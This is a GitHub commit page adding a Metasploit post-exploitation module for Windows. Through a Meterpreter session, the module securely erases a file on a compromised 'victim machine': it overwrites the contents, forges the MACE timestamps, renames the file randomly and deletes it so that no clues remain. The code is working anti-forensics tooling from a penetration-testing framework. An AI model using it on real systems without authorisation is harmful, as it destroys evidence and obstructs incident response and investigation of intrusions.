Skip to content

Commit b8e880b

Browse files
committed
Merge branch 'post-module-sdel' of https://github.com/bmerinofe/metasploit-framework into bmerinofe-post-module-sdel
2 parents 32ad20d + 21d1a58 commit b8e880b

File tree

1 file changed

+167
-0
lines changed

1 file changed

+167
-0
lines changed

modules/post/windows/manage/sdel.rb

Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/post/file'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/windows/priv'
12+
13+
class Metasploit3 < Msf::Post
14+
15+
include Msf::Post::Windows::Priv
16+
include Msf::Post::Common
17+
include Msf::Post::File
18+
19+
def initialize(info={})
20+
super( update_info( info,
21+
'Name' => 'Safe Delete Meterpreter Module',
22+
'Description' => %q{
23+
The goal of the module is to hinder the recovery of deleted files by overwriting
24+
its contents. This could be useful when you need to download some file on the victim
25+
machine and then delete it without leaving clues about its contents. Note that the script
26+
does not wipe the free disk space so temporary/sparse/encrypted/compressed files could
27+
not be overwritten. Note too that MTF entries are not overwritten so very small files
28+
could stay resident within the stream descriptor.},
29+
'License' => BSD_LICENSE,
30+
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
31+
'Platform' => [ 'windows' ],
32+
'SessionTypes' => [ 'meterpreter' ]
33+
))
34+
35+
register_options(
36+
[
37+
OptBool.new('ZERO', [ false, 'Zero overwrite. If set to false, random data will be used', false]),
38+
OptInt.new('ITERATIONS', [false, 'The number of overwrite passes', 1 ]),
39+
OptString.new('FILE',[true, 'File to be deleted',''])
40+
], self.class)
41+
end
42+
43+
44+
def run
45+
type = 1
46+
n = datastore['ITERATIONS']
47+
file = datastore['FILE']
48+
49+
if datastore['ZERO']==true
50+
type = 0
51+
print_status("The file will be overwritten with null bytes")
52+
end
53+
54+
if !file_exist?(file)
55+
print_error("File #{file} does not exist")
56+
return
57+
elsif comp_encr(file)
58+
print_status("File compress or encrypted. Content could not be overwritten!")
59+
end
60+
file_overwrite(file,type,n)
61+
end
62+
63+
64+
#Function to calculate the size of the cluster
65+
def size_cluster()
66+
drive = expand_path("%SystemDrive%")
67+
r = client.railgun.kernel32.GetDiskFreeSpaceA(drive,4,4,4,4)
68+
cluster = r["lpBytesPerSector"] * r["lpSectorsPerCluster"]
69+
print_status("Cluster Size: #{cluster}")
70+
71+
return cluster
72+
end
73+
74+
75+
#Function to calculate the real file size on disk (file size + slack space)
76+
def size_on_disk(file)
77+
size_file = client.fs.file.stat(file).size;
78+
print_status("Size of the file: #{size_file}")
79+
80+
if (size_file<800)
81+
print_status("The file is too small. If it's store in the MTF (NTFS) sdel will not overwrite it!")
82+
end
83+
84+
sizeC= size_cluster()
85+
size_ = size_file.divmod(sizeC)
86+
87+
if size_.last != 0
88+
real_size = (size_.first * sizeC) + sizeC
89+
else
90+
real_size = size_.first * sizeC
91+
end
92+
93+
print_status("Size on disk: #{real_size}")
94+
return real_size
95+
end
96+
97+
98+
#Change MACE attributes. Get a fake date by subtracting N days from the current date
99+
def change_mace(file)
100+
rsec= Rex::Text.rand_text_numeric(7,bad='012')
101+
date = Time.now - rsec.to_i
102+
print_status("Changing MACE attributes")
103+
client.priv.fs.set_file_mace(file, date,date,date,date)
104+
end
105+
106+
#Function to overwrite the file
107+
def file_overwrite(file,type,n)
108+
#FILE_FLAG_WRITE_THROUGH: Write operations will go directly to disk
109+
r = client.railgun.kernel32.CreateFileA(file, "GENERIC_WRITE", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH", 0)
110+
handle=r['return']
111+
real_size=size_on_disk(file)
112+
113+
if type==0
114+
random="\0"*real_size
115+
end
116+
117+
i=0
118+
n.times do
119+
i+=1
120+
print_status("Iteration #{i.to_s}/#{n.to_s}:")
121+
122+
if type==1
123+
random=Rex::Text.rand_text(real_size,nil)
124+
end
125+
126+
#http://msdn.microsoft.com/en-us/library/windows/desktop/aa365541(v=vs.85).aspx
127+
client.railgun.kernel32.SetFilePointer(handle,0,nil,"FILE_BEGIN")
128+
129+
#http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx
130+
w=client.railgun.kernel32.WriteFile(handle,random,real_size,4,nil)
131+
132+
if w['return']==false
133+
print_error("The was an error writing to disk, check permissions")
134+
return
135+
end
136+
137+
print_status("#{w['lpNumberOfBytesWritten']} bytes overwritten")
138+
end
139+
140+
client.railgun.kernel32.CloseHandle(handle)
141+
change_mace(file)
142+
143+
#Generate a long random file name before delete it
144+
newname = Rex::Text.rand_text_alpha(200,nil)
145+
print_status("Changing file name")
146+
147+
#http://msdn.microsoft.com/en-us/library/windows/desktop/aa365239(v=vs.85).aspx
148+
client.railgun.kernel32.MoveFileA(file,newname)
149+
150+
file_rm(newname)
151+
print_good("File erased!")
152+
end
153+
154+
#Check if the file is encrypted or compressed
155+
def comp_encr(file)
156+
#http://msdn.microsoft.com/en-us/library/windows/desktop/aa364944(v=vs.85).aspx
157+
handle=client.railgun.kernel32.GetFileAttributesA(file)
158+
type= handle['return']
159+
160+
#FILE_ATTRIBUTE_COMPRESSED=0x800
161+
#FILE_ATTRIBUTE_ENCRYPTED=0x4000
162+
if ( type & (0x4800)).nonzero?
163+
return true
164+
end
165+
return false
166+
end
167+
end

0 commit comments

Comments
 (0)